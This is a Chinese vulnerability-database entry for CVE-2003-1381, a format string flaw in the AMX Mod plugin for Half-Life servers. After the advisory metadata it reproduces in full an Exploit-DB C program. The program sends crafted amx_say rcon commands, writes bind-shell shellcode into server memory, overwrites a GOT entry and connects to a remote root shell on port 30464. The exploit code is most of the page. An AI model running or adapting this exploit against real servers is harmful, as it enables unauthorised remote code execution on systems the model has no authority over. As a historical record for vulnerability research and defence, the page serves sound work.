CVE-2003-1381
CVSS6.8
发布时间 :2003-12-31 00:00:00
修订时间 :2008-09-05 16:36:47
NMCOE    

[原文]Format string vulnerability in AMX 0.9.2 and earlier, a plugin for Valve Software's Half-Life Server, allows remote attackers to execute arbitrary commands via format string specifiers in the amx_say command.


[CNNVD]AMX Mod远程'amx_say'格式化字符串漏洞(CNNVD-200312-092)

        Valve Software's Half-Life Server的插件AMX 0.9.2及其早期版本存在格式化字符串漏洞。远程攻击者借助amx_say命令的格式化字符串说明符执行任意命令。

- CVSS (基础分值)

CVSS分值: 6.8 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-134 []

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1381
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1381
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200312-092
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/11427
(UNKNOWN)  XF  amx-amxsay-format-string(11427)
http://www.securityfocus.com/bid/6968
(UNKNOWN)  BID  6968
http://www.securityfocus.com/archive/1/313273
(UNKNOWN)  BUGTRAQ  20030226 [VSA0308] Half-Life AMX-Mod remote (root) hole
http://securityreason.com/securityalert/3258
(UNKNOWN)  SREASON  3258

- 漏洞信息

AMX Mod远程'amx_say'格式化字符串漏洞
中危 格式化字符串
2003-12-31 00:00:00 2003-12-31 00:00:00
远程  
        Valve Software's Half-Life Server的插件AMX 0.9.2及其早期版本存在格式化字符串漏洞。远程攻击者借助amx_say命令的格式化字符串说明符执行任意命令。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (22291)

AMX Mod 0.9.2 Remote 'amx_say' Format String Vulnerability (EDBID:22291)
linux remote
2003-02-26 Verified
0 greuff
N/A [点击下载]
source: http://www.securityfocus.com/bid/6968/info

A format string vulnerability has been discovered AMX Mod 0.9.2 and earlier which may be exploitable to execute arbitrary code on a target Half-Life server. The problem occurs when calling the 'amx_say' command. By passing specially constructed format specifiers as an argument to the command, it is possible to modify arbitrary locations in memory.

It should be noted that rcon authentication is required to access the 'amx_say' command. 

/*****************************************************************
 * hoagie_amx.c
 *
 * Remote exploit for Halflife-Servers running the AMX-Plugin
 * (rcon-password required)
 *
 * Binds a shell to port 30464/tcp and connects to it.
 *
 * Author: greuff@void.at
 *
 * Tested with HL-Server v3.1.1.0 and AMX 0.9.2 on Linux
 *
 * Credits:
 *    void.at
 *    Taeho Oh for using parts of his shellcode-connection code.
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
 *
 *****************************************************************/

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <stdlib.h>

#define VSNPRINTF_GOT_ADDRESS 0x0804ce18
#define OFFSET 0x41414141

#define SB4(a) ((unsigned int)(a>>24))
#define SB3(a) ((unsigned int)((a>>16)&0xFF))
#define SB2(a) ((unsigned int)((a>>8)&0xFF))
#define SB1(a) ((unsigned int)(a&0XFF))

// forks and binds a shell to 30464/tcp. parent process exit()s.
char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06"
                   "\x31\xc0\xb0\x01\xcd\x80"
                   "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
                   "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
                   "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77"
                   "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
                   "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
                   "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
                   "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
                   "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
                   "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
                   "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
                   "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
                   "\x24\x31\xc0\xb0\x0b\xcd\x80"
                   "\x31\xc0\xb0\x01\xcd\x80";

char server_ip[20];
char rcon_pwd[30];
int server_port;

int exec_sh(int sockfd)
{
        char snd[4096],rcv[4096];
        fd_set rset;
        while(1)
        {
                FD_ZERO(&rset);
                FD_SET(fileno(stdin),&rset);
                FD_SET(sockfd,&rset);
                select(255,&rset,NULL,NULL,NULL);
                if(FD_ISSET(fileno(stdin),&rset))
                {
                        memset(snd,0,sizeof(snd));
                        fgets(snd,sizeof(snd),stdin);
                        write(sockfd,snd,strlen(snd));
                }
                if(FD_ISSET(sockfd,&rset))
                {
                        memset(rcv,0,sizeof(rcv));
                        if(read(sockfd,rcv,sizeof(rcv))<=0)
                                exit(0);
                        fputs(rcv,stdout);
                }
        }
}

int connect_sh()
{
        int sockfd,i;
        struct sockaddr_in sin;
        struct hostent *he;
        printf("Connect to the shell\n");
        fflush(stdout);
        memset(&sin,0,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(30464);
        if((he=gethostbyname(server_ip))<0) perror("gethostbyname"), exit(1);
        memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
        if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
        {
                printf("Can't create socket\n");
                exit(0);
        }
        if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
        {
                printf("Can't connect to the shell\n");
                exit(0);
        }
        return sockfd;
}

void create_conn(int *sock, char *host, int port)
{
   struct sockaddr_in sin;
   struct timeval timeout;
   struct hostent *he;

   sin.sin_family=AF_INET;
   sin.sin_port=htons(port);
   if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1);
   memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
   if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);

   timeout.tv_sec=10;
   timeout.tv_usec=0;
   if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
      sizeof(timeout))<0)
      perror("setsockopt"),exit(1);
   if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
      sizeof(timeout))<0)
      perror("setsockopt"),exit(1);
}

void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
{
   char msg[2000];
   struct sockaddr_in sin;
   struct sockaddr_in sfrom;
   struct hostent *he;
   fd_set fdset;
   int dummy;

   usleep(100);

   sin.sin_family=AF_INET;
   sin.sin_port=htons(port);
   if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1);
   memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));

   sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
   if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
      perror("sendto"), exit(1);

   if(reply)
   {
      if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
      {
         if(errno==EAGAIN)
         {
            // resend message
            printf("msg stalled, resending...\n");
            sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
            if(sendto(sock,msg,strlen(msg),0,(struct sockaddr
*)&sin,sizeof(sin))<0)
               perror("sendto"), exit(1);
            else
               printf("resend OK\n");
            if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
               perror("recvfrom"),exit(1);
         }
         else
            perror("recvfrom"), exit(1);
      }

      if(strncmp(msg,"\xFF\xFF\xFF\xFF",4))
         fprintf(stderr,"protocol error: reply\n"), exit(1);

      strcpy(reply,msg+4);
   }
}

void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char
*reply_fun)
{
   char reply[1000];
   char msg[2000];

   lowlevel_rcon(sock,host,port,"challenge rcon",reply);
   if(!strstr(reply,"challenge rcon "))
      fprintf(stderr,"protocol error\n"), exit(1);
   reply[strlen(reply)-1]=0;

   sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon
"),rconpwd,cmd);
   if(reply_fun)
      lowlevel_rcon(sock,host,port,msg,reply);
   else
      lowlevel_rcon(sock,host,port,msg,NULL);
   if(reply_fun)
      strcpy(reply_fun,reply);
}

int get_padding(unsigned char c,int bytes_written)
{
   int write_byte=c;
   int already_written=bytes_written;
   int padding;

   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;

   return padding;
}

void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
                        int *p4, int bytes_written)
{
   // greetings to scud :-)
   int write_byte;
   int already_written;
   int padding;

   write_byte=SB1(addr);
   already_written=bytes_written;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p1=padding;

   write_byte=SB2(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p2=padding;

   write_byte=SB3(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p3=padding;

   write_byte=SB4(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p4=padding;
}

int main(int argc, char **argv)
{
   int sock, stackpops, padding;
   int i,j,bytes_written;
   int p1,p2,p3,p4;
   char cmd[1000], reply[1000];
   unsigned long addr;

   printf("hoagie_amx - remote exploit for hlds servers using the amx
plugin\n"
          "by greuff@void.at\n\n");
   if(argc!=4)
   {
      printf("Usage: %s server_name server_port rcon_password\n\n",argv[0]);
      exit(1);
   }

   strcpy(server_ip,argv[1]);
   server_port=strtol(argv[2],NULL,10);
   strcpy(rcon_pwd,argv[3]);

   create_conn(&sock,server_ip,server_port);

   printf("Getting stackpop count...");
   send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
   stackpops=-1;
   for(padding=0;padding<4 && stackpops==-1;padding++)
   {
      for(i=50;i<200 && stackpops==-1;i++)
      {
         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         sprintf(reply,"AAAA%%%d$08x",i);
         strcat(cmd,reply);

         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
         reply[strlen(reply)-1]=0;
         if(strstr(reply,"AAAA41414141"))
         {
            char *ptr;
            ptr=strrchr(reply,'\n')+1;  // get pointer to last log line
            stackpops=i;
            bytes_written=strstr(ptr," (text \"")+strlen(" (text
\"")-strchr(ptr,'\"');
            bytes_written+=4+padding;
         }
         printf(".");
         fflush(stdout);
      }
   }
   padding--;
   if(stackpops==-1)
   {
      printf("\ncouldn't determine stackpop count. (I really tried hard!)\n");
      exit(1);
   }

   printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding);

   // inject shellcode
   printf("Writing shellcode...");
   addr=OFFSET;
   for(i=0;i<strlen(shellcode);)
   {
      int t;
      if((addr&0xFF)>0x75)
      {
         // leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
         // distance is 0x13B-0x7A = 193d
         unsigned long target=192;

         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         t=get_padding(0xe9,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr++;
         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         t=get_padding(target&0xFF,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr++;
         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         t=get_padding((target>>8)&0xFF,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr++;
         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         t=get_padding((target>>16)&0xFF,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr++;
         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         t=get_padding((target>>24)&0xFF,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr+=193;
      }
      else
      {
         // write shellcode-pieces
         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         t=get_padding(shellcode[i],bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
         addr++;
         i++;
      }
      printf(".");
      fflush(stdout);
   }

   // overwrite GOT entry with shellcode address
   strcpy(cmd,"amx_say ");
   for(j=0;j<padding;j++) strcat(cmd,"b");
   get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+24+padding*4);
   addr=VSNPRINTF_GOT_ADDRESS;
   sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA"
                 "%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n",
                 addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,

(addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,

(addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF,

(addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF,
                 p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6);
   strcat(cmd,reply);
   send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL);
   sleep(1);
   close(sock);
   printf("\nConnecting to the shell...\n");
   exec_sh(connect_sh());
   return 0;
}

		

- 漏洞信息

59807
AMX Plugin for Half-Life Server amx_say Command Remote Format String
Remote / Network Access, Local / Remote, Context Dependent Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

2003-02-26 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站